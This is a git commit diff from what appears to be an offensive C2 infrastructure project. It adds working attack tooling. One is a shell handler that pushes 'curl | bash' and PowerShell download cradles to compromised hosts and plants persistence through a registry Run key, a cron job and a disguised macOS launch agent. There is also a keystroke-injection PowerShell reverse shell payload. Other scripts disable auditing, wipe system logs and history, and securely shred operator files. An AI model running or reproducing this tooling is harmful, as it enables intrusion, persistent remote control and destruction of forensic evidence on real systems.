Restructure in-progress

This commit is contained in:
n0mad1k
2025-07-04 23:48:04 -04:00
parent 32aad50820
commit 36de65ba60
114 changed files with 670 additions and 1041 deletions
+98
View File
@@ -0,0 +1,98 @@
#!/bin/bash
# Zero-logs maintenance script
# Set aggressive umask to minimize permission footprint
umask 077
# Configuration
LOG_DIRS=(
"/var/log"
"/var/spool/mail"
"/var/spool/postfix"
"/var/lib/dhcp"
"/root/.bash_history"
"/home/*/.bash_history"
"/var/lib/nginx"
)
SYSTEM_LOGS=(
"auth.log"
"syslog"
"messages"
"kern.log"
"daemon.log"
"user.log"
"btmp"
"wtmp"
"lastlog"
)
# Disable syslog temporarily
systemctl stop rsyslog 2>/dev/null
systemctl stop syslog-ng 2>/dev/null
systemctl stop systemd-journald 2>/dev/null
# Clear all standard logs
echo "[+] Clearing standard system logs..."
for log in "${SYSTEM_LOGS[@]}"; do
find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
done
# Clear all journal logs
echo "[+] Clearing systemd journal..."
journalctl --vacuum-time=1s 2>/dev/null
rm -rf /var/log/journal/* 2>/dev/null
# Clear audit logs
echo "[+] Clearing audit logs..."
auditctl -e 0 2>/dev/null
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
# Clear bash history for all users
echo "[+] Clearing bash history..."
for histfile in /root/.bash_history /home/*/.bash_history; do
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
done
history -c
cat /dev/null > ~/.bash_history 2>/dev/null
unset HISTFILE
# Clear NGINX logs
echo "[+] Clearing NGINX logs..."
for nginx_log in /var/log/nginx/*; do
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
done
# Clear SSH logs
echo "[+] Clearing SSH logs..."
cat /dev/null > /var/log/auth.log 2>/dev/null
cat /dev/null > /var/log/secure 2>/dev/null
# Clear mail logs
echo "[+] Clearing mail logs..."
cat /dev/null > /var/log/mail.log 2>/dev/null
cat /dev/null > /var/log/maillog 2>/dev/null
# Clear sliver logs
echo "[+] Clearing Sliver C2 logs..."
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
# Clear temporary directories
echo "[+] Clearing temporary files..."
rm -rf /tmp/* /var/tmp/* 2>/dev/null
# Clear RAM and swap
echo "[+] Clearing RAM cache and swap..."
sync
echo 3 > /proc/sys/vm/drop_caches
swapoff -a && swapon -a 2>/dev/null
# Restart logging services
systemctl start systemd-journald 2>/dev/null
systemctl start rsyslog 2>/dev/null
systemctl start syslog-ng 2>/dev/null
echo "[+] Log cleaning complete"
exit 0
+156
View File
@@ -0,0 +1,156 @@
#!/bin/bash
# Automated shell handler for catching and upgrading reverse shells
# Configuration
LISTEN_PORT=8844
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
C2_PORT=50051 # Sliver default gRPC port
WINDOWS_BEACON="/root/Tools/beacons/windows.exe"
LINUX_BEACON="/root/Tools/beacons/linux"
MACOS_BEACON="/root/Tools/beacons/macos"
# Set secure permissions
umask 077
# Logging function (minimal and encrypted)
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Deploy appropriate beacon based on OS
deploy_beacon() {
local connection=$1
local os_type=$2
log "Deploying beacon for detected OS: $os_type"
case $os_type in
windows)
# Upload Windows beacon using PowerShell download cradle
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
;;
linux)
# Upload Linux beacon using curl
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
;;
macos)
# Upload macOS beacon using curl
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
;;
esac
log "Beacon deployment command sent"
}
# Establish persistence based on OS
establish_persistence() {
local connection=$1
local os_type=$2
log "Attempting to establish persistence on $os_type"
case $os_type in
windows)
# Windows persistence via registry run key
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
;;
linux)
# Linux persistence via crontab
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
;;
macos)
# macOS persistence via launch agent
echo "mkdir -p ~/Library/LaunchAgents" > $connection
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
;;
esac
log "Persistence commands sent for $os_type"
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection to be established
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
sleep 1
# Check if nc is still running
if ! kill -0 $NC_PID 2>/dev/null; then
log "Netcat process died, restarting..."
rm -f $PIPE_PATH $PIPE_PATH.output
continue 2 # Restart the outer loop
fi
done
log "Connection received, detecting OS..."
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
log "Detected OS: $DETECTED_OS"
# Deploy beacon
deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Establish persistence
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Keep connection alive for manual operation if needed
log "Beacon deployed, maintaining shell connection..."
echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
# Wait for connection to close
wait $NC_PID
log "Connection closed, cleaning up and restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
+224
View File
@@ -0,0 +1,224 @@
#!/bin/bash
# randomize_ports.sh - Generate and set random ports for C2 services
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Port Randomization ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Define port range (avoid well-known and commonly monitored ports)
MIN_PORT=10000
MAX_PORT=60000
# Define list of ports to avoid (commonly used services and monitoring tools)
AVOID_PORTS=(22 80 443 3389 5985 5986 3306 5432 1433 8080 8443 9090 9091 8008 4444 5555 1234 4321 31337 50051)
# Function to check if a port is in the avoid list
is_port_avoided() {
local port=$1
for avoid_port in "${AVOID_PORTS[@]}"; do
if [ "$port" -eq "$avoid_port" ]; then
return 0 # Port should be avoided
fi
done
return 1 # Port is fine to use
}
# Function to check if a port is already in use
is_port_in_use() {
local port=$1
if ss -tuln | grep -q ":$port "; then
return 0 # Port is in use
fi
return 1 # Port is not in use
}
# Function to generate a random port number
generate_random_port() {
local attempts=0
local max_attempts=20
local port
while [ $attempts -lt $max_attempts ]; do
port=$((RANDOM % (MAX_PORT - MIN_PORT) + MIN_PORT))
# Check if port is in avoid list or already in use
if ! is_port_avoided $port && ! is_port_in_use $port; then
echo $port
return 0
fi
attempts=$((attempts + 1))
done
# If we reach here, we couldn't find a suitable port
echo "Error: Could not find a suitable random port after $max_attempts attempts" >&2
return 1
}
# Generate random ports for different services
HTTP_C2_PORT=$(generate_random_port)
HTTPS_C2_PORT=$(generate_random_port)
MTLS_C2_PORT=$(generate_random_port)
SHELL_HANDLER_PORT=$(generate_random_port)
BEACON_SERVER_PORT=$(generate_random_port)
ADMIN_PORT=$(generate_random_port)
# Print the generated ports
echo -e "\n${GREEN}Generated random ports:${NC}"
echo -e "HTTP C2 Port: ${YELLOW}$HTTP_C2_PORT${NC}"
echo -e "HTTPS C2 Port: ${YELLOW}$HTTPS_C2_PORT${NC}"
echo -e "MTLS C2 Port: ${YELLOW}$MTLS_C2_PORT${NC}"
echo -e "Shell Handler Port: ${YELLOW}$SHELL_HANDLER_PORT${NC}"
echo -e "Beacon Server Port: ${YELLOW}$BEACON_SERVER_PORT${NC}"
echo -e "Admin Port: ${YELLOW}$ADMIN_PORT${NC}"
# Create a port configuration file
PORT_CONFIG="/root/Tools/port_config.json"
cat > $PORT_CONFIG << EOF
{
"http_c2_port": $HTTP_C2_PORT,
"https_c2_port": $HTTPS_C2_PORT,
"mtls_c2_port": $MTLS_C2_PORT,
"shell_handler_port": $SHELL_HANDLER_PORT,
"beacon_server_port": $BEACON_SERVER_PORT,
"admin_port": $ADMIN_PORT
}
EOF
echo -e "\n${GREEN}Port configuration saved to $PORT_CONFIG${NC}"
# Function to update Sliver configuration
update_sliver_config() {
local sliver_config="/root/.sliver/configs/daemon.json"
if [ -f "$sliver_config" ]; then
echo -e "\n${BLUE}Updating Sliver daemon configuration...${NC}"
cp "$sliver_config" "${sliver_config}.bak"
# Check if jq is installed
if ! command -v jq &> /dev/null; then
echo -e "${YELLOW}jq not found, installing...${NC}"
apt-get update && apt-get install -y jq
fi
# Update the configuration with jq
jq ".daemon_port = $MTLS_C2_PORT | .daemon_http_port = $HTTP_C2_PORT | .daemon_https_port = $HTTPS_C2_PORT" "${sliver_config}.bak" > "$sliver_config"
echo -e "${GREEN}Sliver configuration updated successfully${NC}"
# Restart Sliver service
echo -e "${BLUE}Restarting Sliver service...${NC}"
systemctl restart sliver
else
echo -e "${YELLOW}Sliver configuration file not found at $sliver_config${NC}"
fi
}
# Function to update shell handler configuration
update_shell_handler() {
local handler_script="/root/Tools/shell-handler/persistent-listener.sh"
if [ -f "$handler_script" ]; then
echo -e "\n${BLUE}Updating shell handler configuration...${NC}"
# Update the port in the script
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$SHELL_HANDLER_PORT/" "$handler_script"
# Update the service if it exists
local service_file="/etc/systemd/system/shell-handler.service"
if [ -f "$service_file" ]; then
# Add environment variable to service file if not already present
if ! grep -q "Environment=\"LISTEN_PORT=" "$service_file"; then
sed -i "/\[Service\]/a Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"" "$service_file"
else
sed -i "s/Environment=\"LISTEN_PORT=.*/Environment=\"LISTEN_PORT=$SHELL_HANDLER_PORT\"/" "$service_file"
fi
# Reload systemd and restart the service
systemctl daemon-reload
systemctl restart shell-handler
fi
echo -e "${GREEN}Shell handler updated to use port $SHELL_HANDLER_PORT${NC}"
else
echo -e "${YELLOW}Shell handler script not found at $handler_script${NC}"
fi
}
# Function to update beacon server configuration
update_beacon_server() {
local beacon_script="/root/Tools/serve-beacons.sh"
if [ -f "$beacon_script" ]; then
echo -e "\n${BLUE}Updating beacon server configuration...${NC}"
# Update the port in the script
sed -i "s/LISTEN_PORT=.*/LISTEN_PORT=$BEACON_SERVER_PORT/" "$beacon_script"
# Restart the beacon server if it's running
if pgrep -f "serve-beacons.sh" > /dev/null; then
echo -e "${YELLOW}Stopping running beacon server...${NC}"
pkill -f "serve-beacons.sh"
echo -e "${GREEN}Starting beacon server with new port...${NC}"
nohup "$beacon_script" > /dev/null 2>&1 &
fi
echo -e "${GREEN}Beacon server updated to use port $BEACON_SERVER_PORT${NC}"
else
echo -e "${YELLOW}Beacon server script not found at $beacon_script${NC}"
fi
}
# Function to update NGINX configuration for the redirector
update_nginx_redirector() {
local nginx_config="/etc/nginx/sites-available/default"
if [ -f "$nginx_config" ]; then
echo -e "\n${BLUE}Updating NGINX redirector configuration...${NC}"
# Update configuration to use new ports
# Note: This assumes standard format used in the C2ingRed templates
if grep -q "proxy_pass http://.*:" "$nginx_config"; then
sed -i "s|proxy_pass http://.*:8888;|proxy_pass http://{{ c2_ip }}:$HTTP_C2_PORT;|g" "$nginx_config"
sed -i "s|proxy_pass https://.*:443;|proxy_pass https://{{ c2_ip }}:$HTTPS_C2_PORT;|g" "$nginx_config"
# Update stream configuration if it exists
local stream_config="/etc/nginx/modules-enabled/stream.conf"
if [ -f "$stream_config" ]; then
sed -i "s|proxy_pass .*:31337;|proxy_pass {{ c2_ip }}:$MTLS_C2_PORT;|g" "$stream_config"
sed -i "s|proxy_pass .*:50051;|proxy_pass {{ c2_ip }}:$HTTP_C2_PORT;|g" "$stream_config"
fi
# Reload NGINX
systemctl reload nginx
echo -e "${GREEN}NGINX configuration updated to use new ports${NC}"
else
echo -e "${YELLOW}Could not find proxy_pass directives in NGINX config${NC}"
fi
else
echo -e "${YELLOW}NGINX configuration file not found at $nginx_config${NC}"
fi
}
# Apply the configuration updates
update_sliver_config
update_shell_handler
update_beacon_server
update_nginx_redirector
echo -e "\n${GREEN}Port randomization complete!${NC}"
echo -e "${YELLOW}Remember to update any firewall rules to allow traffic on these ports.${NC}"
echo -e "${YELLOW}You should also update your DNS records if they contain SRV records that specify ports.${NC}"
# Display the new port configuration again for reference
echo -e "\n${BLUE}New Port Configuration:${NC}"
cat $PORT_CONFIG | jq
+52
View File
@@ -0,0 +1,52 @@
REM Title: C2ingRed Reverse Shell
REM Author: C2ingRed
REM Description: Establishes a reverse shell to the C2 redirector
REM Target: Windows 10/11
REM Version: 1.0
REM Configuration: Modify these values to match your redirector setup
REM REDIRECTOR_HOST: Your redirector domain or IP
REM REDIRECTOR_PORT: Port where shell handler is listening
REM SHELL_TYPE: powershell or cmd
REM ============= Start of configuration =============
REM REDIRECTOR_HOST=cdn.example.com
REM REDIRECTOR_PORT=4444
REM SHELL_TYPE=powershell
REM ============= End of configuration ===============
REM Minimize the chance of detection by hiding the window
DELAY 1000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 2000
REM Main reverse shell payload
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
ENTER
REM Attempt to create socket connection with retry logic
STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
ENTER
REM Setup streams
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
ENTER
REM Execute either PowerShell or CMD shell based on configuration
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
ENTER
REM Setup IO redirection
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
ENTER
REM Main communication loop
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
ENTER
REM Execute and complete
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
ENTER
+96
View File
@@ -0,0 +1,96 @@
#!/bin/bash
# Secure cleanup script for terminating the C2 infrastructure
# Configuration
SECURE_DELETE_PASSES=7
MEMORY_WIPE=true
SELF_DESTRUCT=false # Set to true for complete instance termination (if API available)
# Set secure umask
umask 077
# Function to securely delete files
secure_delete() {
local target=$1
echo "[+] Securely deleting: $target"
if command -v srm > /dev/null; then
srm -vzf $target 2>/dev/null
elif command -v shred > /dev/null; then
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
else
# Fallback to dd if specialized tools aren't available
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
rm -f $target 2>/dev/null
fi
}
echo "[+] Beginning secure exit procedure..."
# Stop all operational services
echo "[+] Stopping operational services..."
services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
for service in "${services[@]}"; do
systemctl stop $service 2>/dev/null
service $service stop 2>/dev/null
done
# Kill any remaining operational processes
echo "[+] Terminating operational processes..."
process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
for proc in "${process_names[@]}"; do
pkill -9 $proc 2>/dev/null
done
# Clear all logs
echo "[+] Clearing logs..."
bash /root/Tools/clean-logs.sh
# Securely delete operational files
echo "[+] Removing operational files..."
operational_dirs=(
"/root/Tools"
"/root/Tools/beacons"
"/root/Tools/payloads"
"/root/.sliver"
"/root/.msf4"
"/root/.gophish"
"/root/Tools"
"/home/*/Tools"
"/var/www/html"
)
for dir in "${operational_dirs[@]}"; do
find $dir -type f 2>/dev/null | while read file; do
secure_delete "$file"
done
rm -rf $dir 2>/dev/null
done
# Remove SSH keys
echo "[+] Removing SSH keys and configs..."
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
secure_delete "$file"
done
# Clean memory if requested
if $MEMORY_WIPE; then
echo "[+] Wiping system memory..."
sync
echo 3 > /proc/sys/vm/drop_caches
swapoff -a
swapon -a
fi
# Self-destruct if configured (for cloud providers with API access)
if $SELF_DESTRUCT; then
echo "[+] Initiating self-destruct sequence..."
# This would typically call the cloud provider's API to terminate the instance
# For FlokiNET, this would need to be handled manually
fi
echo "[+] Secure exit completed. Infrastructure has been sanitized."
# Remove this script itself
exec shred -n $SECURE_DELETE_PASSES -uz $0
+25
View File
@@ -0,0 +1,25 @@
# tasks/cleanup_confirmation.yml - Common task file for cleanup confirmation
- name: Show cleanup information
debug:
msg: |
************************************************
* CLEANUP OPERATION *
************************************************
The following resources will be DELETED PERMANENTLY:
{% if cleanup_redirector and redirector_name is defined %}
- Redirector: {{ redirector_name }} ({{ redirector_ip | default('IP unknown') }})
{% endif %}
{% if cleanup_c2 and c2_name is defined %}
- C2 Server: {{ c2_name }} ({{ c2_ip | default('IP unknown') }})
{% endif %}
when: confirm_cleanup | bool
- name: Confirm cleanup operation
pause:
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
register: confirmation
when: confirm_cleanup | bool
- name: Skip cleanup if not confirmed
meta: end_play
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
+170
View File
@@ -0,0 +1,170 @@
---
# Common task for configuring mail server
# Shared across all providers
- name: Configure Postfix main.cf
lineinfile:
path: /etc/postfix/main.cf
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
with_items:
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- name: Configure OpenDKIM
lineinfile:
path: /etc/opendkim.conf
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
with_items:
- { regexp: '^Domain', line: "Domain {{ domain }}" }
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
- { regexp: '^Selector', line: "Selector mail" }
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
- { regexp: '^Syslog', line: "Syslog yes" }
- { regexp: '^UMask', line: "UMask 002" }
- { regexp: '^Mode', line: "Mode sv" }
- name: Create DKIM directory
file:
path: /etc/opendkim/keys/{{ domain }}
state: directory
owner: opendkim
group: opendkim
mode: 0700
- name: Generate DKIM keys
command: >
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
args:
creates: /etc/opendkim/keys/{{ domain }}/mail.private
- name: Set permissions for DKIM keys
file:
path: /etc/opendkim/keys/{{ domain }}/mail.private
owner: opendkim
group: opendkim
mode: 0600
- name: Configure OpenDKIM TrustedHosts
copy:
content: |
127.0.0.1
::1
localhost
{{ domain }}
dest: /etc/opendkim/TrustedHosts
owner: opendkim
group: opendkim
mode: 0644
- name: Enable submission port (587) in master.cf
blockinfile:
path: /etc/postfix/master.cf
insertafter: '^#submission'
block: |
submission inet n - y - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
- name: Configure Dovecot for Postfix SASL
blockinfile:
path: /etc/dovecot/conf.d/10-master.conf
insertafter: '^service auth {'
block: |
# Postfix smtp-auth
unix_listener /var/spool/postfix/private/auth {
mode = 0660
user = postfix
group = postfix
}
- name: Set Dovecot auth_mechanisms
lineinfile:
path: /etc/dovecot/conf.d/10-auth.conf
regexp: '^auth_mechanisms'
line: 'auth_mechanisms = plain login'
- name: Create Dovecot password file for SASL authentication
file:
path: /etc/dovecot/passwd
state: touch
mode: '0600'
owner: dovecot
group: dovecot
- name: Add SMTP auth user to Dovecot
lineinfile:
path: /etc/dovecot/passwd
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
- name: Disable system auth and use passwd-file
lineinfile:
path: /etc/dovecot/conf.d/10-auth.conf
regexp: '^!include auth-system.conf.ext'
line: '#!include auth-system.conf.ext'
- name: Add auth-passwdfile configuration
blockinfile:
path: /etc/dovecot/conf.d/10-auth.conf
insertafter: '^auth_mechanisms ='
block: |
passdb {
driver = passwd-file
args = scheme=sha512_crypt /etc/dovecot/passwd
}
userdb {
driver = static
args = uid=vmail gid=vmail home=/var/vmail/%u
}
- name: Create vmail group
group:
name: vmail
gid: 5000
state: present
- name: Create vmail user
user:
name: vmail
uid: 5000
group: vmail
create_home: no
- name: Create vmail directory structure
file:
path: /var/vmail
state: directory
owner: vmail
group: vmail
mode: 0700
- name: Restart Postfix
service:
name: postfix
state: restarted
- name: Restart Dovecot
service:
name: dovecot
state: restarted
+85
View File
@@ -0,0 +1,85 @@
---
# Linode/initial-infrastructure.yml
# This playbook only creates the Linode instances without trying to configure them
# This separation makes the deployment more reliable
- name: Create Linode infrastructure
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
# Default values if not provided
ssh_user: "{{ ssh_user | default('root') }}"
linode_region: "{{ linode_region | default(region_choices | random) }}"
plan: "{{ plan | default('g6-standard-2') }}"
image: "{{ image | default('linode/kali') }}"
# Determine what to deploy based on configuration
deploy_redirector: "{{ not (c2_only | default(false)) }}"
deploy_c2: "{{ not (redirector_only | default(false)) }}"
# Generate random names if not provided
redirector_name: "{{ redirector_name | default('srv-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
c2_name: "{{ c2_name | default('node-' + 100000000 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
tasks:
- name: Validate required Linode token
assert:
that:
- linode_token is defined and linode_token != ""
fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
- name: Create redirector Linode instance
community.general.linode_v4:
access_token: "{{ linode_token }}"
label: "{{ redirector_name }}"
type: "{{ plan }}"
region: "{{ linode_region }}"
image: "{{ image }}"
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
authorized_keys:
- "{{ lookup('file', ssh_key_path) }}"
state: present
register: redirector_instance
when: deploy_redirector
- name: Set redirector_ip for later use
set_fact:
redirector_instance_id: "{{ redirector_instance.instance.id }}"
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
when: deploy_redirector and redirector_instance is defined
- name: Create C2 Linode instance
community.general.linode_v4:
access_token: "{{ linode_token }}"
label: "{{ c2_name }}"
type: "{{ plan }}"
region: "{{ linode_region }}"
image: "{{ image }}"
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
authorized_keys:
- "{{ lookup('file', ssh_key_path) }}"
state: present
register: c2_instance
when: deploy_c2
- name: Set c2_ip for later use
set_fact:
c2_instance_id: "{{ c2_instance.instance.id }}"
c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
when: deploy_c2 and c2_instance is defined
- name: Display instance information
debug:
msg:
- "Linode instances created successfully!"
- "Waiting for instances to initialize..."
- "{{ 'Redirector IP: ' + redirector_ip if redirector_ip is defined else 'No redirector deployed' }}"
- "{{ 'C2 Server IP: ' + c2_ip if c2_ip is defined else 'No C2 server deployed' }}"
- name: Wait for instances to initialize (30 seconds)
pause:
seconds: 30
when: (deploy_redirector and redirector_instance is defined) or (deploy_c2 and c2_instance is defined)
+179
View File
@@ -0,0 +1,179 @@
---
# Common task for installing offensive security tools
# Shared across all providers
- name: Force tools directory to root regardless of user
set_fact:
home_dir: "/root"
tools_dir: "/root/Tools"
when: provider == "aws"
- name: Determine home directory path
set_fact:
home_dir: "{{ (ansible_user == 'root') | ternary('/root', '/home/' + ansible_user) }}"
tools_dir: "{{ (ansible_user == 'root') | ternary('/root/Tools', '/home/' + ansible_user + '/Tools') }}"
- name: Create Tools directory
file:
path: "{{ tools_dir }}"
state: directory
owner: "{{ ansible_user }}"
group: "{{ ansible_user }}"
mode: '0755'
- name: Install base dependencies
apt:
name:
- python3-pip
- python3-venv
- pipx
- curl
- wget
- git
- jq
- unzip
- tmux
state: present
update_cache: yes
- name: Check if pipx is installed
command: which pipx
register: pipx_check
ignore_errors: true
changed_when: false
- name: Configure pipx path
shell: |
export PATH="$PATH:{{ home_dir }}/.local/bin"
pipx ensurepath
args:
executable: /bin/bash
register: pipx_path_result
until: pipx_path_result is success
retries: 3
delay: 5
when: pipx_check.rc == 0
- name: Set PATH for subsequent operations
set_fact:
custom_path: "{{ home_dir }}/.local/bin:{{ ansible_env.PATH }}"
- name: Install tools via pipx
shell: |
export PATH="{{ custom_path }}"
pipx install git+https://github.com/Pennyw0rth/NetExec
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
pipx install impacket
environment:
PATH: "{{ custom_path }}"
register: pipx_install_result
until: pipx_install_result is success
retries: 3
delay: 5
- name: Install offensive security tools
apt:
name:
- nmap
- tcpdump
- hydra
- john
- hashcat
- sqlmap
- gobuster
- dirb
- enum4linux
- dnsenum
- seclists
- responder
- golang
